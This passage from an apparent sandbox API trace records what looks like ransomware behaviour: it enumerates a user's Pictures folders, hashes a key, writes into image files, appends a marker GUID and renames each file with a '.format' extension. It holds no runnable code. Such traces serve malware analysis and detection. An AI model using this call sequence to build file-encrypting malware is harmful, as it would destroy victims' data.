lpBuffer=0x3178dd8*, lpNumberOfBytesWritten=0x38cfb24*=0x73c, lpOverlapped=0x0) returned 1 [0068.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.600] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x741, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.601] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.601] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.601] CloseHandle (hObject=0x5c8) returned 1 [0068.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\v-hwxlt-kD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\v-hwxlt-kd.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\v-hwxlt-kD.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\v-hwxlt-kd.gif.format")) returned 1 [0068.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.603] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.604] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceba7ec0, ftCreationTime.dwHighDateTime=0x1d4c8ed, ftLastAccessTime.dwLowDateTime=0xc1859b0, ftLastAccessTime.dwHighDateTime=0x1d4cb58, ftLastWriteTime.dwLowDateTime=0xc1859b0, ftLastWriteTime.dwHighDateTime=0x1d4cb58, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v-hwxlt-kD.gif", cAlternateFileName="V-HWXL~1.GIF")) returned 0 [0068.604] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.604] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.604] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.605] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.605] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.608] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\") returned="njXXDQ38ulMrkg_7vJ\\" [0068.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0068.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.608] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.608] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.608] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.608] PathFindFileNameW (pszPath="") returned="" [0068.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2cd1660, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x41cdc5b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0x41cdc5b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.608] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.608] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2cd1660, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x41cdc5b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0x41cdc5b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.608] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378710a0, ftCreationTime.dwHighDateTime=0x1d4c87e, ftLastAccessTime.dwLowDateTime=0xbfb2f300, ftLastAccessTime.dwHighDateTime=0x1d4c98b, ftLastWriteTime.dwLowDateTime=0xbfb2f300, ftLastWriteTime.dwHighDateTime=0x1d4c98b, nFileSizeHigh=0x0, nFileSizeLow=0x2dd9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="29qIuqRP.png", cAlternateFileName="")) returned 1 [0068.608] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\29qIuqRP.png") returned=".png" [0068.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\29qIuqRP.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\29qiuqrp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.609] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=11737) returned 1 [0068.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.612] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2db3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.612] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.613] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2dd9, lpOverlapped=0x0) returned 1 [0068.613] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.613] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.613] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.613] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.614] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.614] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.614] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.614] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.614] GetLastError () returned 0x0 [0068.615] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.615] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.615] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2dd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.615] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.615] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.615] CloseHandle (hObject=0x5c8) returned 1 [0068.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\29qIuqRP.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\29qiuqrp.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\29qIuqRP.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\29qiuqrp.png.format")) returned 1 [0068.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.618] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.619] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.619] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76381d0, ftCreationTime.dwHighDateTime=0x1d4ccaa, ftLastAccessTime.dwLowDateTime=0x7ead68c0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0x7ead68c0, ftLastWriteTime.dwHighDateTime=0x1d4cf64, nFileSizeHigh=0x0, nFileSizeLow=0x16733, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTq8-J4.png", cAlternateFileName="")) returned 1 [0068.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\BTq8-J4.png") returned=".png" [0068.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\BTq8-J4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\btq8-j4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.619] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=91955) returned 1 [0068.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.623] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1670d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.623] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.624] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16733, lpOverlapped=0x0) returned 1 [0068.624] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.624] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.624] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.624] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.625] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.625] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.625] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.626] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.626] GetLastError () returned 0x0 [0068.626] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.626] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.626] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.627] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16733, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.627] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.627] WriteFile (in: 